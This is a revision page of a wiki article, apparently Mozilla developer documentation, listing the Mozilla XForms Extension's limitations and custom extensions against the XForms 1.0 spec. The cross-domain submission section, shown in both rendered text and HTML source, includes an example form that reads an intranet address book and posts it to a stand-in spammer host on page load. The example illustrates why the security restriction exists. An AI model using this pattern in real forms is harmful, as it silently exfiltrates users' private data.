Revision 150913 of Mozilla XForms Specials

  • Slug da revisão: XForms_especiais_para_Mozilla
  • Título da revisão: Mozilla XForms Specials
  • ID da revisão: 150913
  • Criado:
  • Autor: Verruckt
  • É revisão atual? Não
  • Comentário
Etiquetas: 

Conteúdo da revisão

Introduction

This article gives an overview of where the Mozilla XForms Extension deviates from the official XForms 1.0 Specification . This covers both limitations in the extension, and custom extensions.

Limitations

Repeat Using Attributes

The specifications mentions "Creating Repeating Structures Via Attributes", this is partially supported.

(limitation tracked in {{template.Bug(280368)}})

Mixing Repeat and table or ul

It is not possible to mix repeats with either table or ul. That means that it is not possible to do:

<table>
  <xf:repeat ...>
    <tr> ... </tr>
  </xf:repeat>
</table>

or

<ul>
  <xf:repeat ...>
    <li> ... </li>
  </xf:repeat>
</ul>

Section 9.3.2 states that mixing with table will probably never work. Mixing with ul might suffer from the same limitation, but it should not crash as it does not ({{template.Bug(330022)}}).

Pseudo class support

We currently support all the pseudo classes in XForms (:enabled, :disabled, etc. ), except for :read-only and :read-write, because of non-specified behaviour of these for (X)HTML. Instead you have to use :-moz-read-only and :-moz-read-write for now.

(limitation tracked in {{template.Bug(313111)}})

Pseudo element support

There is no support for the pseudo elements (::value, ::repeat-item, and ::repeat-index ). Instead you will have to use the following normal classes instead:

  • xf-value
  • xf-repeat-item
  • xf-repeat-index

For example, to target the value element of an input control use:

@namespace xf url("http://www.w3.org/2002/xforms");
xf|input .xf-value {
  ...
}

The pseudo elements are defined in the CSS3 Basic User Interface specification .

(limitation tracked in {{template.Bug(271724)}})

Extensions

Enumerating Instances

The standardized nsIXFormsModelElement does not allow one to enumerate over all possible instances, but only to retrieve instances by their name. In the Mozilla XForms Extension we added a getInstanceDocuments() function to the model which returns all the model's instance documents. This is documented in nsIXFormsNSModelElement.

Getting To Instance Element From A Data Node

In the XForms 1.0 specification there is no way to get to the instance element from an instance data node. We have added a function via the getFeature() call on each node, that allows the form author to do that. That is, if instanceNode is a node in an instance document, then:

instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")

will return the <instance> element (in the main document) that the node belongs to.

Getting To The Instance Document From The Instance Element

In the XForms 1.0 specification you have to go through the model element to get to the instance document. It seems a bit awkward if you have the instance element, so we have added a getInstanceDocument() function directly on the instance element as a shortcut. This is documented in nsIXFormsNSInstanceElement.

Custom Control Interface

We have added a lot of functionality to our user interface, which allows the form authors to create custom controls. It involves exposing some (script) functionality on all our controls, like output, input, etc. and allowing the UI to be represented in XBL. More information can be found in XForms:Custom Controls.

Misc

Cross Domain Submission

Not exactly either a limitation, or an extension, but it is worth mentioning here. For security reasons, it is not per default possible for an XForms to submit data to another domain. This is due to security reasons. Information about how to whitelist domain can be found in the Release Notes

The cross domain check also includes forms loaded from file://. Forms loaded from that URL should be local files, and thus trusted, but it is not always the case. So there is not automatic "whitelisting" of local files.

If you are wondering why we have this restriction, here is a simple example of why:

<xforms:model>
  <xforms:instance src="http://intranetserver/addrbook.xml"/>
  <xforms:submission id="sub" action="http://megaspammer.com/gather"
                     method="post"/>
  <xforms:send submission="sub" ev:event="xforms-ready"/>
</xforms:model>

This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the XForm.

Categorias

Interwiki Language Links

{{ wiki.languages( { "en": "en/Mozilla_XForms_Specials" } ) }}

Fonte da revisão

<p> 
</p>
<h3 name="Introduction"> Introduction </h3>
<p>This article gives an overview of where the <i>Mozilla XForms Extension</i> deviates from the official <i>XForms 1.0 Specification</i> <a class="external" href="http://www.w3.org/TR/xforms">. This covers both limitations in the extension, and custom extensions.
</a></p><a class="external" href="http://www.w3.org/TR/xforms">
<h3 name="Limitations"> Limitations </h3>
<h4 name="Repeat_Using_Attributes"> Repeat Using Attributes </h4>
</a><p><a class="external" href="http://www.w3.org/TR/xforms">The specifications mentions </a><a class="external" href="http://www.w3.org/TR/xforms/slice9.html#ui.repeat.via.attrs">"Creating Repeating Structures Via Attributes"</a>, this is <strong>partially</strong> supported.
</p><p>(limitation tracked in {{template.Bug(280368)}})
</p>
<h4 name="Mixing_Repeat_and_table_or_ul"> Mixing Repeat and <code>table</code> or <code>ul</code> </h4>
<p>It is not possible to mix repeats with either <code>table</code> or <code>ul</code>. That means that it is <strong>not</strong> possible to do:
</p>
<div class="warning">
<pre>&lt;table&gt;
  &lt;xf:repeat ...&gt;
    &lt;tr&gt; ... &lt;/tr&gt;
  &lt;/xf:repeat&gt;
&lt;/table&gt;
</pre>
</div>
<p>or
</p>
<div class="warning">
<pre>&lt;ul&gt;
  &lt;xf:repeat ...&gt;
    &lt;li&gt; ... &lt;/li&gt;
  &lt;/xf:repeat&gt;
&lt;/ul&gt;
</pre>
</div>
<p><a class="external" href="http://www.w3.org/TR/2006/REC-xforms-20060314/slice9.html#ui.repeat.via.attrs">Section 9.3.2</a> states that mixing with <code>table</code> will probably never work. Mixing with <code>ul</code> might suffer from the same limitation, but it should not crash as it does not ({{template.Bug(330022)}}).
</p>
<h4 name="Pseudo_class_support"> Pseudo class support </h4>
<p>We currently support all the pseudo classes in XForms (<code>:enabled, :disabled</code>, etc. <a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">), <b>except</b> for <code>:read-only</code> and <code>:read-write</code>, because of non-specified behaviour of these for (X)</a><a href="pt/HTML">HTML</a>. Instead you have to use <code>:-moz-read-only</code> and <code>:-moz-read-write</code> for now.
</p><p>(limitation tracked in {{template.Bug(313111)}})
</p>
<h4 name="Pseudo_element_support"> Pseudo element support </h4>
<p>There is <b>no</b> support for the pseudo elements (<code>::value, ::repeat-item, and ::repeat-index</code> <a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">). Instead you will have to use the following normal classes instead:
</a></p><a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">
<ul><li> <code>xf-value</code>
</li><li> <code>xf-repeat-item</code>
</li><li> <code>xf-repeat-index</code>
</li></ul>
<p>For example, to target the value element of an <code>input</code> control use:
</p>
<pre>@namespace xf url("http://www.w3.org/2002/xforms");
xf|input .xf-value {
  ...
}
</pre>
</a><p><a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">The pseudo elements are defined in the <i></i></a><i><a href="pt/CSS">CSS</a>3 Basic User Interface specification</i> <a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">.
</a></p><p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">(limitation tracked in {{template.Bug(271724)}})
</a></p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">
<h3 name="Extensions"> Extensions </h3>
<h4 name="Enumerating_Instances"> Enumerating Instances </h4>
</a><p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">The standardized </a><a href="pt/NsIXFormsModelElement">nsIXFormsModelElement</a> does not allow one to enumerate over all possible instances, but only to retrieve instances by their name. In the <i>Mozilla XForms Extension</i> we added a <code>getInstanceDocuments()</code> function to the <code>model</code> which returns all the model's instance documents. This is documented in <a href="pt/NsIXFormsNSModelElement">nsIXFormsNSModelElement</a>.
</p>
<h4 name="Getting_To_Instance_Element_From_A_Data_Node"> Getting To Instance Element From A Data Node </h4>
<p>In the XForms 1.0 specification there is no way to get to the <code>instance</code> element from an instance data node. We have added a function via the <code>getFeature()</code> call on each node, that allows the form author to do that. That is, if <code>instanceNode</code> is a node in an instance document, then:
</p>
<pre>instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
</pre>
<p>will return the <code>&lt;instance&gt;</code> element (in the main document) that the node belongs to.
</p>
<h4 name="Getting_To_The_Instance_Document_From_The_Instance_Element"> Getting To The Instance Document From The Instance Element </h4>
<p>In the XForms 1.0 specification you have to go through the <code>model</code> element to get to the instance document. It seems a bit awkward if you have the <code>instance</code> element, so we have added a <code>getInstanceDocument()</code> function directly on the <code>instance</code> element as a shortcut. This is documented in <a href="pt/NsIXFormsNSInstanceElement">nsIXFormsNSInstanceElement</a>.
</p>
<h4 name="Custom_Control_Interface"> Custom Control Interface </h4>
<p>We have added a lot of functionality to our user interface, which allows the form authors to create <i>custom controls</i>. It involves exposing some (script) functionality on all our controls, like <code>output</code>, <code>input</code>, etc. and allowing the UI to be represented in <a href="pt/XBL">XBL</a>. More information can be found in <a href="pt/XForms/Custom_Controls">XForms:Custom Controls</a>.
</p>
<h3 name="Misc"> Misc </h3>
<h4 name="Cross_Domain_Submission"> Cross Domain Submission </h4>
<p>Not exactly either a limitation, or an extension, but it is worth mentioning here. For security reasons, it is not per default possible for an XForms to submit data to another domain. This is due to security reasons. Information about how to whitelist domain can be found in the <i>Release Notes</i> <a class="external" href="http://www.mozilla.org/projects/xforms/ReleaseNotes-20051026.html#c12">
</a></p><p><a class="external" href="http://www.mozilla.org/projects/xforms/ReleaseNotes-20051026.html#c12">The cross domain check also includes forms loaded from <code>file://</code>. Forms loaded from that URL should be local files, and thus trusted, but it is not always the case. So there is not automatic "whitelisting" of local files.
</a></p><p><a class="external" href="http://www.mozilla.org/projects/xforms/ReleaseNotes-20051026.html#c12">If you are wondering why we have this restriction, here is a simple example of why:
</a></p><a class="external" href="http://www.mozilla.org/projects/xforms/ReleaseNotes-20051026.html#c12">
<pre>&lt;xforms:model&gt;
  &lt;xforms:instance src="http://intranetserver/addrbook.xml"/&gt;
  &lt;xforms:submission id="sub" action="http://megaspammer.com/gather"
                     method="post"/&gt;
  &lt;xforms:send submission="sub" ev:event="xforms-ready"/&gt;
&lt;/xforms:model&gt;
</pre>
<p>This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) <code><span class="plain">http://intranetserver/addrbook.xml</span></code>, and send it to <code><span class="plain">http://megaspammer.com/gather</span></code> as soon as you view the XForm.
</p><p><span class="comment">Categorias</span>
</p><p><span class="comment">Interwiki Language Links</span>
</p>{{ wiki.languages( { "en": "en/Mozilla_XForms_Specials" } ) }}</a>
Reverter para esta revisão